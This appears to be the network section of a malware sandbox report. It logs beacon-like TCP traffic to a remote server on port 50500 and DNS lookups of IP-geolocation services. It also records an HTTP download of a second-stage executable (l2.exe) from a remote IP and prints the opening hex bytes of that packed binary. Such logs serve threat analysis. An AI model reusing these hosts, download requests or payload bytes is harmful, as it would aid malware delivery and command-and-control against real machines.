Apr 24, 2024 14:43:28.524374008 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524410963 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.524429083 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524442911 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524476051 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.524519920 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524557114 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.524576902 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524616003 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524656057 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.524667025 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524727106 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524766922 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.524797916 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524811983 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.524861097 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.591010094 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:28.932676077 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:28.932802916 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:29.274575949 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:29.275585890 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:29.617238045 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:29.617409945 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:30.001425028 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:30.704961061 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:30.751559019 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:31.063019037 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:31.065901041 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:32.130853891 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:32.657939911 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:33.024310112 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:33.079766035 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:03.470666885 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:03.833034039 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:03.876821995 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:20.220923901 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:20.581105947 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:20.627024889 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:26.674057007 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:27.035034895 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:27.080143929 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:30.064794064 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:30.427618027 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:30.470802069 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:33.123344898 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:44:33.123421907 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:44:33.470911026 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:33.831938028 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:33.877253056 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:36.877213955 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:37.247543097 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:37.299021959 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:40.299204111 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:40.659974098 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:40.705172062 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:43.690381050 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:44.057380915 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:44.252171993 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:44.548969984 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:44.549242973 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:47.096674919 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:47.458935022 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:47.568633080 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:50.486568928 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:50.846771955 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:51.069159031 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:51.392426014 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:51.392499924 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:53.893218994 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:54.250055075 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:54.455282927 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:57.311805010 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:57.312731981 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:44:57.654032946 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:44:57.672278881 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:57.752450943 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:59.284388065 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:44:59.284573078 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:44:59.673835039 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:02.330442905 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:02.689630985 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:02.767854929 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:05.721311092 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:06.092256069 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:06.267853975 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:09.127834082 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:09.490158081 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:09.564745903 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:12.533648014 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:12.893995047 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:12.955401897 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:16.202864885 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:16.567619085 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:16.752321959 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:19.611826897 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:19.968952894 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:20.066632986 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:23.018102884 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:23.378670931 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:23.455534935 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:26.408720016 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:26.768835068 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:26.955509901 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:29.799340963 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:30.163609982 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:30.268053055 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:33.205631971 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:33.582278013 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:33.768178940 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:36.629057884 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:36.994204998 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:37.064928055 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:40.052934885 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:40.420263052 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:40.471314907 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:43.471316099 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:43.833638906 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:43.955605984 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:46.877547979 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:47.246041059 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:47.455660105 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:50.472281933 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:50.832298040 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:51.065068007 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:53.877679110 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:54.236529112 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:54.361915112 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:57.285842896 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:45:57.660908937 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:45:57.772218943 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:00.690335035 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:01.049510956 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:01.254861116 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:04.096441984 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:04.460280895 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:04.565119028 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:07.506886959 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:07.868433952 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:07.955794096 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:10.924633980 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:11.291285038 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:11.456940889 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:14.331147909 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:14.693461895 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:14.768305063 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:17.721590042 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:18.081965923 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:18.268322945 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:21.127768040 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:21.485779047 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:21.565212965 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:24.518606901 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:24.880059958 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:24.955854893 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:27.924807072 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:28.284158945 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:28.362145901 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:29.284948111 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:29.285142899 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:29.674293995 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:32.331127882 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:32.698275089 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:32.768522978 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:35.752897978 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:36.113264084 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:36.252845049 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:39.159450054 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:39.522686005 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:39.565352917 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:42.581093073 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:42.945375919 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:43.065387964 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:45.987854004 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:46.345432043 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:46.456079960 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:49.378005028 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:49.737395048 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:49.956054926 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:52.768759012 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:53.127038956 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:53.268538952 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:56.160868883 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:56.519246101 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:46:56.565423012 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:59.565601110 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:46:59.930135012 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:47:00.065442085 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:47:02.971858025 CEST	49718	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:47:03.338855028 CEST	50500	49718	193.233.132.47	192.168.2.8
Apr 24, 2024 14:47:03.456186056 CEST	49718	50500	192.168.2.8	193.233.132.47

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 14:43:01.202632904 CEST	49587	53	192.168.2.8	1.1.1.1
Apr 24, 2024 14:43:01.356914997 CEST	53	49587	1.1.1.1	192.168.2.8
Apr 24, 2024 14:43:02.122625113 CEST	49203	53	192.168.2.8	1.1.1.1
Apr 24, 2024 14:43:02.278012991 CEST	53	49203	1.1.1.1	192.168.2.8
Apr 24, 2024 14:43:19.657126904 CEST	49744	53	192.168.2.8	1.1.1.1
Apr 24, 2024 14:43:20.127530098 CEST	53	49744	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 14:43:01.202632904 CEST	192.168.2.8	1.1.1.1	0xff4d	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:43:02.122625113 CEST	192.168.2.8	1.1.1.1	0x311c	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:43:19.657126904 CEST	192.168.2.8	1.1.1.1	0x5ea8	Standard query (0)	easy2buy.ae	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 14:43:01.356914997 CEST	1.1.1.1	192.168.2.8	0xff4d	No error (0)	ipinfo.io	34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:43:02.278012991 CEST	1.1.1.1	192.168.2.8	0x311c	No error (0)	db-ip.com	104.26.5.15	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:43:02.278012991 CEST	1.1.1.1	192.168.2.8	0x311c	No error (0)	db-ip.com	104.26.4.15	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:43:02.278012991 CEST	1.1.1.1	192.168.2.8	0x311c	No error (0)	db-ip.com	172.67.75.166	A (IP address)	IN (0x0001)	false
Apr 24, 2024 14:43:20.127530098 CEST	1.1.1.1	192.168.2.8	0x5ea8	No error (0)	easy2buy.ae	185.199.220.53	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

ipinfo.io

db-ip.com

easy2buy.ae

193.233.132.175

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	193.233.132.175	80	5316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 14:43:14.682924986 CEST	225	OUT	HEAD /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.175 Cache-Control: no-cache
Apr 24, 2024 14:43:15.024379969 CEST	260	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 24 Apr 2024 12:43:14 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Fri, 19 Apr 2024 15:26:27 GMT Connection: keep-alive ETag: "66228d23-45a2b8" Accept-Ranges: bytes
Apr 24, 2024 14:43:15.026609898 CEST	224	OUT	GET /server/k/l2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.175 Cache-Control: no-cache
Apr 24, 2024 14:43:15.368489981 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 24 Apr 2024 12:43:15 GMT Content-Type: application/octet-stream Content-Length: 4563640 Last-Modified: Fri, 19 Apr 2024 15:26:27 GMT Connection: keep-alive ETag: "66228d23-45a2b8" Accept-Ranges: bytes Data Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d c2 aa 77 ba f2 ff b0 1c fb 0e 4c 65 b3 00 e5 81 91 85 17 99 6b e5 54 b1 60 d7 23 25 a5 ab 98 c1 62 f1 c2 6e e6 46 88 26 2d 6f 95 cc 10 0e 2f 38 53 c3 45 0d c0 7b 31 1d 45 a1 9c 2c 9d f5 bf 13 3c 95 63 7c 62 14 7a 8b 46 7a 1a 01 b7 08 bd e8 11 11 7c 83 ee 57 22 70 03 15 e4 ed a2 17 31 ba 52 78 e6 fb b7 ba 6b 46 40 f9 62 4c 19 cf 0f 83 67 98 84 14 d6 a1 Data Ascii: MZ@!L!Win32 .EXE.$@PELMa^w0@}mFww\|EPw.MPRESS1pw?.MPRESS22w?.rsrc\|w?@v2.19w? oG>Hr9aQ(`.=?!Z&II18Z!Ys[QXaYY)vn\|)^f+>84h82g>hb\E(x@8_94Um's#03O]`S2@#oF~RQqoynOA@\|gF0js/H+ 0C!7s^H, {DrI,\|u6E>q}g)UME'j}7^wLekT`#%bnF&-o/8SE{1E,<c\|bzFz\|W"p1RxkF@bLg
Apr 24, 2024 14:43:15.368932962 CEST	1289	IN	Data Raw: 84 0d 70 e7 ad 96 18 5f 8e 2d 2d ee da 4b a9 1a ef fa 01 bb 89 f5 32 c4 d1 0b f5 7c e5 6b fa 6f 04 df 4e c7 ef b3 24 58 87 6b d3 a0 cc 6a 82 2b 8b a9 25 8b c0 ff 92 f1 c1 a7 ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f8 29 64 09 3b 80 cb 2a 6c Data Ascii: p_--K2\|koN$Xkj+%R+t[ BS=)d;l;._>KfBqxY(F\|0.Ve%S61opMG`'\YfRXvY[R+t[ BS=)d;l;._>KfBqxY(F\|
Apr 24, 2024 14:43:15.369297028 CEST	1289	IN	Data Raw: 5b 5e 89 45 b8 85 f7 82 48 b6 86 d6 9c c6 52 71 df 57 dd d0 18 7e b7 3b 9a 47 97 be 45 9e ad 2f 28 2a 9b 9b 50 a0 69 8e 75 b8 c9 0b 69 ed c0 1b be 55 c0 ca 05 b9 2f 62 11 7f 73 15 d5 5a 13 03 fc c4 8b 44 11 5f 57 06 a6 86 fc 35 e7 e9 7b b6 82 a9 Data Ascii: [^EHRqW~;GE/(*PiuiU/bsZD_W5{6"f#83\|)`zwE++i4y5b6=a;8YVM5>}xOozLP9_D4[]XjKnzFR0N1Ifr
Apr 24, 2024 14:43:15.369502068 CEST	1289	IN	Data Raw: 48 96 7a 05 5b 38 20 82 68 54 c6 cc e3 6f 64 43 0a 02 42 e5 5e 0f a3 7c 10 a0 0c 4e ae fc d2 a9 b1 77 6d 51 67 ab 26 14 00 60 cb 54 ea e1 2f c5 c3 8a 9b 44 27 b1 ed e3 78 03 eb 1b 10 b8 8b 84 03 a3 12 d0 9d 0e 84 e2 1c f7 08 95 79 ec 19 4c c9 8a Data Ascii: Hz[8 hTodCB^\|NwmQg&`T/D'xyL%{{w?U=N_'Li99Y3ewQPag"3CiCiP@ee*mxU8!,[:xE\|ZD>~6q)4,3};QIZe3r:!
Apr 24, 2024 14:43:15.369664907 CEST	1289	IN	Data Raw: 69 0c 06 0f 08 5b 83 b2 d3 3d 94 88 9c e6 00 95 0f 15 e9 2f 22 56 e1 ef 2b 60 43 1e 66 0a ce 44 ac 54 3f a7 15 c2 03 8e 77 a9 33 ba 7a 6f 0e 1a e4 07 11 d8 8c 59 e8 7f 08 b1 6e d8 a6 25 e3 98 0f 07 42 79 08 8d 39 e5 4d f4 57 74 34 c1 b0 b6 6d 03 Data Ascii: i[=/"V+`CfDT?w3zoYn%By9MWt4mbN 0qAS9F1TS'e5~l~Kyvc2owI.Fiq,T}qhKnNy\|@d+)9iQ4E=L"
Apr 24, 2024 14:43:15.369853973 CEST	1289	IN	Data Raw: fb c6 78 70 03 5c 42 aa a0 fb 41 20 8f 24 b3 e3 47 81 32 61 51 c0 53 b8 fa 17 59 9d 09 58 65 c4 9a 39 4a f5 74 5c b0 24 c9 b3 c6 db 2b 92 94 50 bd 13 45 9f cd 3f 52 00 63 1c f0 1a 1a f5 12 e2 ba 26 a8 97 9d 8d f2 6d 57 e7 13 24 df b2 5f 03 e2 10 Data Ascii: xp\BA $G2aQSYXe9Jt\$+PE?Rc&mW$_o7TT<SUq I*y"j4wHCr4fP(muX%6e}GiY\h7TW/6>kxfX"uM'?NiPQ{?Bs,6=sLzZ
